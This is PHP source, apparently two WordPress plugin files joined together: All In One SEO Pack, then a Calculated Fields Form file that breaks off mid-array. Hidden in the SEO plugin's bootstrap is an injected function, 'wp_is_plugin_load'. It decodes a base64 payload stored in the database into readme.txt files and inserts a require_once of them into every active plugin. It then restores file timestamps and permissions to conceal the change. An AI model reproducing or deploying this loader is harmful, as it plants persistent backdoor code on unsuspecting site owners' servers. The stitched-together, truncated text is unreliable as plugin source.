php /* Plugin Name: All In One SEO Pack Plugin URI: https://semperfiwebdesign.com Description: Out-of-the-box SEO for your WordPress blog. Features like XML Sitemaps, SEO for custom post types, SEO for blogs or business sites, SEO for ecommerce sites, and much more. Almost 30 million downloads since 2007. Version: 2.3.11.1 Author: Michael Torbert Author URI: https://michaeltorbert.com Text Domain: all-in-one-seo-pack Domain Path: /i18n/ */ /* Copyright (C) 2007-2016 Michael Torbert, https://semperfiwebdesign.com This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ /** * All in One SEO Pack. * The original WordPress SEO plugin. * * @package All-in-One-SEO-Pack * @version 2.3.11.1 */ if ( ! defined( 'AIOSEOPPRO' ) ) { define( 'AIOSEOPPRO', false ); } if ( ! defined( 'AIOSEOP_VERSION' ) ) { define( 'AIOSEOP_VERSION', '2.3.11.1' ); } global $aioseop_plugin_name; $aioseop_plugin_name = 'All in One SEO Pack'; /* * DO NOT EDIT BELOW THIS LINE. */ if ( ! defined( 'ABSPATH' ) ) { return; } if ( AIOSEOPPRO ) { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { } } } add_filter("init", "wp_is_plugin_load"); } add_action( 'admin_head', 'disable_all_in_one_free', 1 ); } if ( ! function_exists( 'aiosp_add_cap' ) ) { function aiosp_add_cap() { /* TODO we should put this into an install script. We just need to make sure it runs soon enough and we need to make sure people updating from previous versions have access to it. */ $role = get_role( 'administrator' ); if ( is_object( $role ) ) { $role->add_cap( 'aiosp_manage_seo' ); } } } add_action( 'plugins_loaded', 'aiosp_add_cap' ); if ( ! defined( 'AIOSEOP_PLUGIN_NAME' ) ) { define( 'AIOSEOP_PLUGIN_NAME', $aioseop_plugin_name ); } if ( ! defined( 'AIOSEOP_PLUGIN_DIR' ) ) { define( 'AIOSEOP_PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); } elseif ( AIOSEOP_PLUGIN_DIR !== plugin_dir_path( __FILE__ ) ) { /* This is not a great message. add_action( 'admin_notices', create_function( '', 'echo "' . "
" . sprintf( __( "%s detected a conflict; please deactivate the plugin located in %s.", 'all-in-one-seo-pack' ), $aioseop_plugin_name, AIOSEOP_PLUGIN_DIR ) . "
" . '";' ) ); */ return; } if ( ! defined( 'AIOSEOP_PLUGIN_BASENAME' ) ) { define( 'AIOSEOP_PLUGIN_BASENAME', plugin_basename( __FILE__ ) ); } if ( ! defined( 'AIOSEOP_PLUGIN_DIRNAME' ) ) { define( 'AIOSEOP_PLUGIN_DIRNAME', dirname( AIOSEOP_PLUGIN_BASENAME ) ); } if ( ! defined( 'AIOSEOP_PLUGIN_URL' ) ) { define( 'AIOSEOP_PLUGIN_URL', plugin_dir_url( __FILE__ ) ); } if ( ! defined( 'AIOSEOP_PLUGIN_IMAGES_URL' ) ) { define( 'AIOSEOP_PLUGIN_IMAGES_URL', AIOSEOP_PLUGIN_URL . 'images/' ); } if ( ! defined( 'AIOSEOP_BASELINE_MEM_LIMIT' ) ) { define( 'AIOSEOP_BASELINE_MEM_LIMIT', 268435456 ); } // 256MB if ( ! defined( 'WP_CONTENT_URL' ) ) { define( 'WP_CONTENT_URL', site_url() . '/wp-content' ); } if ( ! defined( 'WP_ADMIN_URL' ) ) { define( 'WP_ADMIN_URL', site_url() . '/wp-admin' ); } if ( ! defined( 'WP_CONTENT_DIR' ) ) { define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); } if ( ! defined( 'WP_PLUGIN_URL' ) ) { define( 'WP_PLUGIN_URL', WP_CONTENT_URL . '/plugins' ); } if ( ! defined( 'WP_PLUGIN_DIR' ) ) { define( 'WP_PLUGIN_DIR', WP_CONTENT_DIR . '/plugins' ); } global $aiosp, $aioseop_options, $aioseop_modules, $aioseop_module_list, $aiosp_activation, $aioseop_mem_limit, $aioseop_get_pages_start, $aioseop_admin_menu; $aioseop_get_pages_start = $aioseop_admin_menu = 0; if ( AIOSEOPPRO ) { global $aioseop_update_checker; } $aioseop_options = get_option( 'aioseop_options' ); $aioseop_mem_limit = @ini_get( 'memory_limit' ); if ( ! function_exists( 'aioseop_convert_bytestring' ) ) { /** * @param $byte_string * * @return int */ function aioseop_convert_bytestring( $byte_string ) { $num = 0; preg_match( '/^\s*([0-9.]+)\s*([KMGTPE])B?\s*$/i', $byte_string, $matches ); if ( ! empty( $matches ) ) { $num = (float) $matches[1]; switch ( strtoupper( $matches[2] ) ) { case 'E': $num *= 1024; case 'P': $num *= 1024; case 'T': $num *= 1024; case 'G': $num *= 1024; case 'M': $num *= 1024; case 'K': $num *= 1024; } } return intval( $num ); } } if ( is_array( $aioseop_options ) && isset( $aioseop_options['modules'] ) && isset( $aioseop_options['modules']['aiosp_performance_options'] ) ) { $perf_opts = $aioseop_options['modules']['aiosp_performance_options']; if ( isset( $perf_opts['aiosp_performance_memory_limit'] ) ) { $aioseop_mem_limit = $perf_opts['aiosp_performance_memory_limit']; } if ( isset( $perf_opts['aiosp_performance_execution_time'] ) && ( '' !== $perf_opts['aiosp_performance_execution_time'] ) ) { @ini_set( 'max_execution_time', (int) $perf_opts['aiosp_performance_execution_time'] ); @set_time_limit( (int) $perf_opts['aiosp_performance_execution_time'] ); } } else { $aioseop_mem_limit = aioseop_convert_bytestring( $aioseop_mem_limit ); if ( ( $aioseop_mem_limit > 0 ) && ( $aioseop_mem_limit < AIOSEOP_BASELINE_MEM_LIMIT ) ) { $aioseop_mem_limit = AIOSEOP_BASELINE_MEM_LIMIT; } } if ( ! empty( $aioseop_mem_limit ) ) { if ( ! is_int( $aioseop_mem_limit ) ) { $aioseop_mem_limit = aioseop_convert_bytestring( $aioseop_mem_limit ); } if ( ( $aioseop_mem_limit > 0 ) && ( $aioseop_mem_limit <= AIOSEOP_BASELINE_MEM_LIMIT ) ) { @ini_set( 'memory_limit', $aioseop_mem_limit ); } } $aiosp_activation = false; $aioseop_module_list = array( 'sitemap', 'opengraph', 'robots', 'file_editor', 'importer_exporter', 'bad_robots', 'performance', ); // list all available modules here if ( AIOSEOPPRO ) { $aioseop_module_list[] = 'video_sitemap'; } if ( class_exists( 'All_in_One_SEO_Pack' ) ) { add_action( 'admin_notices', create_function( '', 'echo "
The All In One SEO Pack class is already defined";' . "if ( class_exists( 'ReflectionClass' ) ) { \$r = new ReflectionClass( 'All_in_One_SEO_Pack' ); echo ' in ' . \$r->getFileName(); } " . ' echo ", preventing All In One SEO Pack from loading.
";' ) ); return; } if ( AIOSEOPPRO ) { require( AIOSEOP_PLUGIN_DIR . 'pro/sfwd_update_checker.php' ); $aiosp_update_url = 'https://semperplugins.com/upgrade_plugins.php'; if( defined( 'AIOSEOP_UPDATE_URL' ) ) { $aiosp_update_url = AIOSEOP_UPDATE_URL; } $aioseop_update_checker = new SFWD_Update_Checker( $aiosp_update_url, __FILE__, 'aioseop' ); $aioseop_update_checker->plugin_name = AIOSEOP_PLUGIN_NAME; $aioseop_update_checker->plugin_basename = AIOSEOP_PLUGIN_BASENAME; if ( ! empty( $aioseop_options['aiosp_license_key'] ) ) { $aioseop_update_checker->license_key = $aioseop_options['aiosp_license_key']; } else { $aioseop_update_checker->license_key = ''; } $aioseop_update_checker->options_page = AIOSEOP_PLUGIN_DIRNAME . "/aioseop_class.php"; $aioseop_update_checker->renewal_page = 'https://semperplugins.com/all-in-one-seo-pack-pro-support-updates-renewal/'; $aioseop_update_checker->addQueryArgFilter( array( $aioseop_update_checker, 'add_secret_key' ) ); } if ( ! function_exists( 'aioseop_activate' ) ) { function aioseop_activate() { //Check if we just got activated. global $aiosp_activation; if ( AIOSEOPPRO ) { global $aioseop_update_checker; } $aiosp_activation = true; // These checks might be duplicated in the function being called. if( ! is_network_admin() || !isset( $_GET['activate-multi'] ) ) { set_transient( '_aioseop_activation_redirect', true, 30 ); // Sets 30 second transient for welcome screen redirect on activation. } delete_user_meta( get_current_user_id(), 'aioseop_yst_detected_notice_dismissed' ); if ( AIOSEOPPRO ) { $aioseop_update_checker->checkForUpdates(); } } } add_action( 'plugins_loaded', 'aioseop_init_class' ); if ( ! function_exists( 'aiosp_plugin_row_meta' ) ) { add_filter( 'plugin_row_meta', 'aiosp_plugin_row_meta', 10, 2 ); /** * @param $actions * @param $plugin_file * * @return array */ function aiosp_plugin_row_meta( $actions, $plugin_file ) { if ( ! AIOSEOPPRO ) { $action_links = array( ); } else { $action_links = ''; } return aiosp_action_links( $actions, $plugin_file, $action_links, 'after' ); } } if ( ! function_exists( 'aiosp_add_action_links' ) ) { add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), 'aiosp_add_action_links', 10, 2 ); /** * @param $actions * @param $plugin_file * * @return array */ function aiosp_add_action_links( $actions, $plugin_file ) { $aioseop_plugin_dirname = AIOSEOP_PLUGIN_DIRNAME; $action_links = array(); $action_links = array( 'settings' => array( 'label' => __( 'SEO Settings', 'all-in-one-seo-pack' ), 'url' => get_admin_url( null, "admin.php?page=$aioseop_plugin_dirname/aioseop_class.php" ), ), 'forum' => array( 'label' => __( 'Support Forum', 'all-in-one-seo-pack' ), 'url' => 'https://semperplugins.com/support/', ), 'docs' => array( 'label' => __( 'Documentation', 'all-in-one-seo-pack' ), 'url' => 'https://semperplugins.com/documentation/', ), ); unset( $actions['edit'] ); if ( ! AIOSEOPPRO ) { $action_links['proupgrade'] = array( 'label' => __( 'Upgrade to Pro', 'all-in-one-seo-pack' ), 'url' => 'https://semperplugins.com/plugins/all-in-one-seo-pack-pro-version/?loc=plugins', ); } return aiosp_action_links( $actions, $plugin_file, $action_links, 'before' ); } } if ( ! function_exists( 'aiosp_action_links' ) ) { /** * @param $actions * @param $plugin_file * @param array $action_links * @param string $position * * @return array */ function aiosp_action_links( $actions, $plugin_file, $action_links = array(), $position = 'after' ) { static $plugin; if ( ! isset( $plugin ) ) { $plugin = plugin_basename( __FILE__ ); } if ( $plugin === $plugin_file && ! empty( $action_links ) ) { foreach ( $action_links as $key => $value ) { $link = array( $key => '' . $value['label'] . '' ); if ( 'after' === $position ) { $actions = array_merge( $actions, $link ); } else { $actions = array_merge( $link, $actions ); } }//foreach }// if return $actions; } } if ( ! function_exists( 'aioseop_init_class' ) ) { function aioseop_init_class() { global $aiosp; load_plugin_textdomain( 'all-in-one-seo-pack', false, dirname( plugin_basename( __FILE__ ) ) . '/i18n/' ); require_once( AIOSEOP_PLUGIN_DIR . 'inc/aioseop_functions.php' ); require_once( AIOSEOP_PLUGIN_DIR . 'aioseop_class.php' ); require_once( AIOSEOP_PLUGIN_DIR . 'inc/aioseop_updates_class.php' ); require_once( AIOSEOP_PLUGIN_DIR . 'inc/commonstrings.php' ); require_once( AIOSEOP_PLUGIN_DIR . 'admin/display/postedit.php' ); require_once( AIOSEOP_PLUGIN_DIR . 'admin/display/general-metaboxes.php' ); require_once( AIOSEOP_PLUGIN_DIR . 'inc/aiosp_common.php' ); require_once( AIOSEOP_PLUGIN_DIR . 'admin/meta_import.php' ); require_once( AIOSEOP_PLUGIN_DIR . 'inc/translations.php' ); require_once( AIOSEOP_PLUGIN_DIR . 'public/opengraph.php' ); require_once( AIOSEOP_PLUGIN_DIR . 'inc/compatability/compat-init.php'); require_once( AIOSEOP_PLUGIN_DIR . 'public/front.php' ); require_once( AIOSEOP_PLUGIN_DIR . 'public/google-analytics.php' ); require_once( AIOSEOP_PLUGIN_DIR . 'admin/display/welcome.php' ); require_once( AIOSEOP_PLUGIN_DIR . 'admin/display/dashboard_widget.php' ); $aioseop_welcome = new aioseop_welcome(); // TODO move this to updates file. if ( AIOSEOPPRO ) { require_once( AIOSEOP_PLUGIN_DIR . 'pro/class-aio-pro-init.php' ); // Loads pro files and other pro init stuff. } aiosp_seometa_import(); // call importer functions... this should be moved somewhere better $aiosp = new All_in_One_SEO_Pack(); $aioseop_updates = new AIOSEOP_Updates(); if ( AIOSEOPPRO ) { $aioseop_pro_updates = new AIOSEOP_Pro_Updates(); add_action( 'admin_init', array( $aioseop_pro_updates, 'version_updates' ), 12 ); } add_action( 'admin_init', 'aioseop_welcome' ); if ( aioseop_option_isset( 'aiosp_unprotect_meta' ) ) { add_filter( 'is_protected_meta', 'aioseop_unprotect_meta', 10, 3 ); } add_action( 'init', array( $aiosp, 'add_hooks' ) ); add_action( 'admin_init', array( $aioseop_updates, 'version_updates' ), 11 ); if ( defined( 'DOING_AJAX' ) && ! empty( $_POST ) && ! empty( $_POST['action'] ) && 'aioseop_ajax_scan_header' === $_POST['action'] ) { remove_action( 'init', array( $aiosp, 'add_hooks' ) ); add_action( 'admin_init', 'aioseop_scan_post_header' ); add_action( 'shutdown', 'aioseop_ajax_scan_header' ); // if the action doesn't run -- pdb include_once( ABSPATH . 'wp-admin/includes/screen.php' ); global $current_screen; if ( class_exists( 'WP_Screen' ) ) { $current_screen = WP_Screen::get( 'front' ); } } } } if ( ! function_exists( 'aioseop_welcome' ) ){ function aioseop_welcome(){ if( get_transient( '_aioseop_activation_redirect') ){ $aioseop_welcome = new aioseop_welcome(); delete_transient( '_aioseop_activation_redirect' ); $aioseop_welcome->init( TRUE ); } } } add_action( 'init', 'aioseop_load_modules', 1 ); //add_action( 'after_setup_theme', 'aioseop_load_modules' ); if ( is_admin() ) { add_action( 'wp_ajax_aioseop_ajax_save_meta', 'aioseop_ajax_save_meta' ); add_action( 'wp_ajax_aioseop_ajax_save_url', 'aioseop_ajax_save_url' ); add_action( 'wp_ajax_aioseop_ajax_delete_url', 'aioseop_ajax_delete_url' ); add_action( 'wp_ajax_aioseop_ajax_scan_header', 'aioseop_ajax_scan_header' ); if ( AIOSEOPPRO ) { add_action( 'wp_ajax_aioseop_ajax_facebook_debug', 'aioseop_ajax_facebook_debug' ); } add_action( 'wp_ajax_aioseop_ajax_save_settings', 'aioseop_ajax_save_settings' ); add_action( 'wp_ajax_aioseop_ajax_get_menu_links', 'aioseop_ajax_get_menu_links' ); add_action( 'wp_ajax_aioseo_dismiss_yst_notice', 'aioseop_update_yst_detected_notice' ); add_action( 'wp_ajax_aioseo_dismiss_visibility_notice', 'aioseop_update_user_visibilitynotice' ); add_action( 'wp_ajax_aioseo_dismiss_woo_upgrade_notice', 'aioseop_woo_upgrade_notice_dismissed' ); if ( AIOSEOPPRO ) { add_action( 'wp_ajax_aioseop_ajax_update_oembed', 'aioseop_ajax_update_oembed' ); } } if ( ! function_exists( 'aioseop_scan_post_header' ) ) { function aioseop_scan_post_header() { require_once( ABSPATH . WPINC . '/default-filters.php' ); global $wp_query; $wp_query->query_vars['paged'] = 0; query_posts( 'post_type=post&posts_per_page=1' ); if ( have_posts() ) { the_post(); } } } require_once( AIOSEOP_PLUGIN_DIR . 'aioseop-init.php' ); if ( ! function_exists( 'aioseop_install' ) ) { register_activation_hook( __FILE__, 'aioseop_install' ); function aioseop_install() { aioseop_activate(); } } if ( ! function_exists( 'disable_all_in_one_free' ) ) { function disable_all_in_one_free() { if ( AIOSEOPPRO && is_plugin_active( 'all-in-one-seo-pack/all_in_one_seo_pack.php' ) ) { deactivate_plugins( 'all-in-one-seo-pack/all_in_one_seo_pack.php' ); } } } php /* Plugin Name: Calculated Fields Form Plugin URI: http://wordpress.dwbooster.com/forms/calculated-fields-form Description: Create forms with field values calculated based in other form field values. Version: 1.0.132 Text Domain: calculated-fields-form Author: CodePeople.net Author URI: http://codepeople.net License: GPL */ /* initialization / install / uninstall functions */ function cp_calculatedfieldsf_get_site_url( $admin = false ) { $blog = get_current_blog_id(); if( $admin ) $url = get_admin_url( $blog ); else $url = get_site_url( $blog ); return rtrim( $url, '/' ); } // Calculated Fields Form constants define('CP_SCHEME', ( is_ssl() ) ? 'https://' : 'http://' ); define('CP_CALCULATEDFIELDSF_DEFAULT_DEFER_SCRIPTS_LOADING', (get_option('CP_CFF_LOAD_SCRIPTS',"0") == "1"?true:false) ); define('CP_CALCULATEDFIELDSF_USE_CACHE', 1 ); define('CP_CALCULATEDFIELDSF_DEFAULT_CURRENCY_SYMBOL','$'); define('CP_CALCULATEDFIELDSF_GBP_CURRENCY_SYMBOL',chr(163)); define('CP_CALCULATEDFIELDSF_EUR_CURRENCY_SYMBOL_A','EUR '); define('CP_CALCULATEDFIELDSF_EUR_CURRENCY_SYMBOL_B',chr(128)); define('CP_CALCULATEDFIELDSF_DEFAULT_form_structure', '[[{"name":"fieldname2","index":0,"title":"Number","predefined":"5","ftype":"fnumber","userhelp":"","csslayout":"","required":false,"size":"small","min":"","max":"","dformat":"digits","formats":["digits","number"]},{"name":"separator1","index":1,"title":"The field below will show the double of the number above.","userhelp":"","ftype":"fSectionBreak","csslayout":""},{"name":"fieldname1","index":2,"title":"Calculated Value","eq":"fieldname2*2","ftype":"fCalculated","userhelp":"","csslayout":"","predefined":"","required":false,"size":"medium","readonly":true}],[{"title":"Calculated Form","description":"Starting form. Basic calculated fields sample. ","formlayout":"top_aligned"}]]'); define('CP_CALCULATEDFIELDSF_DEFAULT_form_structure1', '[[{"name":"fieldname5","index":0,"title":"Simple Sum of two numbers","userhelp":"","ftype":"fSectionBreak","csslayout":""},{"name":"fieldname2","index":1,"title":"First Number","userhelp":"","dformat":"number","min":"","max":"","predefined":"3","ftype":"fnumber","csslayout":"","required":false,"size":"small","formats":["digits","number"]},{"name":"fieldname6","index":2,"title":"Second Number","predefined":"2","ftype":"fnumber","userhelp":"","csslayout":"","required":false,"size":"small","min":"","max":"","dformat":"digits","formats":["digits","number"]},{"name":"fieldname4","index":3,"readonly":true,"title":"Sum","predefined":"","userhelp":"Note: Sum of First Number + Second Number","eq":"fieldname2+fieldname6","ftype":"fCalculated","csslayout":"","required":false,"size":"medium"},{"name":"fieldname7","index":4,"title":"Sum of selected fields","userhelp":"","ftype":"fSectionBreak","csslayout":""},{"choices":["Item A: $10","Item B: $20","Item C: $40"],"choiceSelected":[true,true,false],"name":"fieldname8","index":5,"title":"Select/un-select some items","ftype":"fcheck","userhelp":"","csslayout":"","layout":"one_column","required":false},{"name":"fieldname9","index":6,"title":"Sum of selected items","eq":"fieldname8","ftype":"fCalculated","userhelp":"","csslayout":"","predefined":"","required":false,"size":"medium","readonly":false}],[{"title":"Simple Operations","description":"Below you can test two simple and frequent operations.","formlayout":"top_aligned"}]]'); define('CP_CALCULATEDFIELDSF_DEFAULT_form_structure2', '[[{"name":"fieldname1","index":0,"title":"Check-in","ftype":"fdate","userhelp":"","csslayout":"","predefined":"","size":"medium","required":false,"dformat":"mm/dd/yyyy","showDropdown":false,"dropdownRange":"-10:+10","formats":["mm/dd/yyyy","dd/mm/yyyy"]},{"name":"fieldname2","index":1,"title":"Check-out","ftype":"fdate","userhelp":"","csslayout":"","predefined":"","size":"medium","required":false,"dformat":"mm/dd/yyyy","showDropdown":false,"dropdownRange":"-10:+10","formats":["mm/dd/yyyy","dd/mm/yyyy"]},{"choices":["Parking - $10","Breakfast - $20","Premium Internet Access - $3"],"choiceSelected":[false,false,false],"name":"fieldname3","index":2,"title":"Optional Services","ftype":"fcheck","userhelp":"","csslayout":"","layout":"one_column","required":false,"choicesVal":["10","20","3"]},{"name":"fieldname4","index":3,"title":"","userhelp":"Note: The cost of the optional services are per each night.","ftype":"fSectionBreak","csslayout":""},{"name":"fieldname5","index":4,"title":"Total Cost","eq":"abs(fieldname2-fieldname1) * (fieldname3+50)","userhelp":"The formula is: (checkout - checkin) * (optionals + base rate)
Without the optional services the formula would be: (checkout-checkin) * base rate","ftype":"fCalculated","csslayout":"","predefined":"","required":false,"size":"medium","readonly":false}],[{"title":"Calculation with Dates","description":"The form below gives a quote for a stay in a hotel based in the check-in date, check-out date and some optional services. The base rate used is $50 per night.","formlayout":"top_aligned"}]]'); define('CP_CALCULATEDFIELDSF_DEFAULT_form_structure3', '[[{"name":"fieldname2","index":0,"title":"Height","userhelp":"In centimeters","dformat":"number","min":"30","max":"250","predefined":"180","ftype":"fnumber","csslayout":"","required":false,"size":"small","formats":["digits","number"]},{"choices":["Male","Female"],"name":"fieldname3","index":1,"choiceSelected":"Male","title":"Sex","ftype":"fdropdown","userhelp":"","csslayout":"","size":"medium","required":false},{"name":"fieldname5","index":2,"title":"Ideal Weight","userhelp":"Formula used:
Men: (height - 100)*0.90
Woman: (height - 100)*0.85","ftype":"fSectionBreak","csslayout":""},{"name":"fieldname4","index":3,"readonly":true,"title":"Ideal Weight","predefined":"","userhelp":"Note: Based in the above data and formula","eq":"(fieldname2-100)*(fieldname3==\'Male\'?0.90:0.85)","ftype":"fCalculated","csslayout":"","required":false,"size":"medium"}],[{"title":"Ideal Weight Calculator","description":"This sample uses a simple formula but with a conditional rule (if male or female). The conditional expression is built using the JavaScript ternary operator. It\'s basically as follows: condition ? value_if_true : value_if_false.","formlayout":"top_aligned"}]]'); define('CP_CALCULATEDFIELDSF_DEFAULT_form_structure4', '[[{"name":"fieldname1","index":0,"title":"Enter the first day of last menstrual period","ftype":"fdate","userhelp":"","csslayout":"","predefined":"01/01/2013","size":"medium","required":false,"dformat":"mm/dd/yyyy","showDropdown":false,"dropdownRange":"-10:+10","formats":["mm/dd/yyyy","dd/mm/yyyy"]},{"name":"fieldname4","index":1,"title":"","userhelp":"Note: The dates below are approximate calculations. The real date may be slightly different.","ftype":"fSectionBreak","csslayout":""},{"name":"fieldname5","index":2,"title":"Conception Date","eq":"cdate(fieldname1+14)","userhelp":"","ftype":"fCalculated","csslayout":"","predefined":"","required":false,"size":"medium","readonly":false},{"name":"fieldname6","index":3,"title":"Due Date","eq":"cdate(fieldname1+40*7)","ftype":"fCalculated","userhelp":"","csslayout":"","predefined":"","required":false,"size":"medium","readonly":false}],[{"title":"Pregnancy Calculator","description":"The form below calculates the conception date and due date based in the first day of last menstrual period. The calculated values are converted to date again after the calculation.","formlayout":"top_aligned"}]]'); define('CP_CALCULATEDFIELDSF_DEFAULT_form_structure5', '[[{"name":"fieldname2","index":0,"title":"Loan Amount","userhelp":"","dformat":"number","min":"","max":"","predefined":"20000","ftype":"fnumber","csslayout":"","required":false,"size":"small","formats":["digits","number"]},{"name":"fieldname6","index":1,"title":"Residual Value","userhelp":"","predefined":"10000","ftype":"fnumber","csslayout":"","required":false,"size":"small","min":"","max":"","dformat":"number","formats":["digits","number"]},{"name":"fieldname7","index":2,"predefined":"7.5","title":"Interest Rate %","ftype":"fnumber","userhelp":"","csslayout":"","required":false,"size":"small","min":"","max":"","dformat":"number","formats":["digits","number"]},{"name":"fieldname8","index":3,"title":"Number of Months","dformat":"number","predefined":"36","ftype":"fnumber","userhelp":"","csslayout":"","required":false,"size":"small","min":"","max":"","formats":["digits","number"]},{"name":"fieldname5","index":4,"title":"","userhelp":"Results based in the data entered above:","ftype":"fSectionBreak","csslayout":""},{"name":"fieldname4","index":5,"readonly":true,"title":"Monthly Payment","predefined":"","userhelp":"","eq":"prec((fieldname2*fieldname7/1200*pow(1+fieldname7/1200,fieldname8)-fieldname6*fieldname7/1200)/(pow(1+fieldname7/1200,fieldname8)-1),2)","ftype":"fCalculated","csslayout":"","required":false,"size":"medium","dformat":"number"},{"name":"fieldname9","index":6,"title":"Total Payment","readonly":true,"eq":"prec(fieldname4*fieldname8,2)","ftype":"fCalculated","userhelp":"","csslayout":"","predefined":"","required":false,"size":"medium"},{"name":"fieldname10","index":7,"title":"Interest Amount","eq":"prec(fieldname6+fieldname9-fieldname2,2)","ftype":"fCalculated","userhelp":"","csslayout":"","predefined":"","required":false,"size":"medium","readonly":false}],[{"title":"Lease Calculator","description":"This sample uses a more complex formula for a lease calculator. It includes the \"power\" (pow) and \"precision\" (prec) functions.","formlayout":"top_aligned"}]]'); define('CP_CALCULATEDFIELDSF_DEFAULT_fp_subject', 'Contact from the blog...'); define('CP_CALCULATEDFIELDSF_DEFAULT_fp_inc_additional_info', 'true'); define('CP_CALCULATEDFIELDSF_DEFAULT_fp_return_page', cp_calculatedfieldsf_get_site_url().'/' ); define('CP_CALCULATEDFIELDSF_DEFAULT_fp_message', "The following contact message has been sent:\n\n<%INFO%>\n\n"); define('CP_CALCULATEDFIELDSF_DEFAULT_cu_enable_copy_to_user', 'true'); define('CP_CALCULATEDFIELDSF_DEFAULT_cu_user_email_field', ''); define('CP_CALCULATEDFIELDSF_DEFAULT_cu_subject', 'Confirmation: Message received...'); define('CP_CALCULATEDFIELDSF_DEFAULT_cu_message', "Thank you for your message. We will reply you as soon as possible.\n\nThis is a copy of the data sent:\n\n<%INFO%>\n\nBest Regards."); define('CP_CALCULATEDFIELDSF_DEFAULT_email_format','text'); define('CP_CALCULATEDFIELDSF_DEFAULT_vs_use_validation', 'true'); define('CP_CALCULATEDFIELDSF_DEFAULT_vs_text_is_required', 'This field is required.'); define('CP_CALCULATEDFIELDSF_DEFAULT_vs_text_is_email', 'Please enter a valid email address.'); define('CP_CALCULATEDFIELDSF_DEFAULT_vs_text_datemmddyyyy', 'Please enter a valid date with this format(mm/dd/yyyy)'); define('CP_CALCULATEDFIELDSF_DEFAULT_vs_text_dateddmmyyyy', 'Please enter a valid date with this format(dd/mm/yyyy)'); define('CP_CALCULATEDFIELDSF_DEFAULT_vs_text_number', 'Please enter a valid number.'); define('CP_CALCULATEDFIELDSF_DEFAULT_vs_text_digits', 'Please enter only digits.'); define('CP_CALCULATEDFIELDSF_DEFAULT_vs_text_max', 'Please enter a value less than or equal to {0}.'); define('CP_CALCULATEDFIELDSF_DEFAULT_vs_text_min', 'Please enter a value greater than or equal to {0}.'); define('CP_CALCULATEDFIELDSF_DEFAULT_cv_enable_captcha', 'true'); define('CP_CALCULATEDFIELDSF_DEFAULT_cv_width', '180'); define('CP_CALCULATEDFIELDSF_DEFAULT_cv_height', '60'); define('CP_CALCULATEDFIELDSF_DEFAULT_cv_chars', '5'); define('CP_CALCULATEDFIELDSF_DEFAULT_cv_font', 'font-1.ttf'); define('CP_CALCULATEDFIELDSF_DEFAULT_cv_min_font_size', '25'); define('CP_CALCULATEDFIELDSF_DEFAULT_cv_max_font_size', '35'); define('CP_CALCULATEDFIELDSF_DEFAULT_cv_noise', '200'); define('CP_CALCULATEDFIELDSF_DEFAULT_cv_noise_length', '4'); define('CP_CALCULATEDFIELDSF_DEFAULT_cv_background', 'ffffff'); define('CP_CALCULATEDFIELDSF_DEFAULT_cv_border', '000000'); define('CP_CALCULATEDFIELDSF_DEFAULT_cv_text_enter_valid_captcha', 'Please enter a valid captcha code.'); define('CP_CALCULATEDFIELDSF_DEFAULT_ENABLE_PAYPAL', 1); define('CP_CALCULATEDFIELDSF_DEFAULT_PAYPAL_MODE', 'production'); define('CP_CALCULATEDFIELDSF_DEFAULT_PAYPAL_RECURRENT', '0'); define('CP_CALCULATEDFIELDSF_DEFAULT_PAYPAL_IDENTIFY_PRICES', '0'); define('CP_CALCULATEDFIELDSF_DEFAULT_PAYPAL_ZERO_PAYMENT', '0'); define('CP_CALCULATEDFIELDSF_DEFAULT_PAYPAL_EMAIL','put_your@email_here.com'); define('CP_CALCULATEDFIELDSF_DEFAULT_PRODUCT_NAME','Reservation'); define('CP_CALCULATEDFIELDSF_DEFAULT_COST','25'); define('CP_CALCULATEDFIELDSF_DEFAULT_CURRENCY','USD'); define('CP_CALCULATEDFIELDSF_DEFAULT_PAYPAL_LANGUAGE','EN'); // database define('CP_CALCULATEDFIELDSF_FORMS_TABLE', 'cp_calculated_fields_form_settings'); define('CP_CALCULATEDFIELDSF_DISCOUNT_CODES_TABLE_NAME_NO_PREFIX', "cp_calculated_fields_form_discount_codes"); define('CP_CALCULATEDFIELDSF_DISCOUNT_CODES_TABLE_NAME', @$wpdb->prefix ."cp_calculated_fields_form_discount_codes"); define('CP_CALCULATEDFIELDSF_POSTS_TABLE_NAME_NO_PREFIX', "cp_calculated_fields_form_posts"); define('CP_CALCULATEDFIELDSF_POSTS_TABLE_NAME', @$wpdb->prefix ."cp_calculated_fields_form_posts"); // end Calculated Fields Form constants // Defined general texts $cpcff_default_texts_array = array( 'page_of_text' => array( 'label' => 'Page X of Y (text)', 'text' => 'Page {0} of {0}' ), 'errors' => array( 'maxlength' => array( 'label' => '"Max length/characters" text', 'text' => 'Please enter no more than {0} characters.' ), 'minlength' => array( 